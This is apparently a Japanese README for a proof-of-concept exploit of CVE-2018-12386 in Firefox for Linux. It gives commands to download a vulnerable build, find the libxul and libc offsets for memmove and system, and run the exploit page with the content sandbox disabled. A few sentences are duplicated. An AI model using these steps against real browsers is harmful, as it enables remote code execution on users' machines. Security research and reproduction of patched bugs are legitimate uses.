
CVE-2018-12386 - Linux 向け Firefox サンドボックス化 RCE エクスプロイト (Firefox <v62.0.3)
これは、Niklas Baumstark、Samuel Groß、Bruno Keith によって発見された脆弱性 CVE-2018-12386 に対するシンプルなエクスプロイトです。
これは主に楽しみのために作成した PoC であり、サンドボックス回避は含まれていません。また、エクスプロイトで使用されるオフセットが既に判明している特定の Linux 環境でのみ動作します (オフセットは exploit/offsets.js で変更できます)。
このエクスプロイトは、Firefox 62.0.3 および Firefox ESR 60.2.2 より前のバージョンで動作します。
過去の Firefox リリースは、Mozilla の FTP サーバーから直接ダウンロードできます: https://ftp.mozilla.org/pub/firefox/releases/
たとえば、64 ビット Linux 用の 62.0.2 バージョンを使用できます: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soFirefox 62.0.2 を使用している場合、exploit/offsets.js に記載されているオフセットが正しいものになります。
他のバージョンの場合、簡単な方法としては、addrof プリミティブを使用して JavaScript 関数 Math.max のアドレスを漏えいし、現在エクスプロイト対象としている Firefox インスタンスの libxul.so のベースアドレスを (たとえば cat /proc/$(pidof firefox)/maps で) 特定し、その差分を計算して libxul_math_max オフセットを求める方法があります。
Firefox 62.0.2 を使用している場合、exploit/offsets.js に記載されているオフセットが正しいものになります。
他のバージョンの場合、簡単な方法としては objdump を使用する方法があります。
[asriel@core firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
5c0b370 が必要な値、つまり libxul.so における memmove のオフセットです。
libc.so.6 のオフセットこれらのオフセットは、使用する libc のバージョンに完全に依存します。
# libc.so.6 location
[asriel@core firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/usr/lib/libc.so.6
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep __memmove_avx_unaligned_erms
0000000000160c90 t __memmove_avx_unaligned_erms
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep " system"
0000000000044dd0 W system
Firefox と正しいオフセットを用意したら、次のコマンドを実行してエクスプロイトをテストできます:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

連絡したい場合は: @Asri3l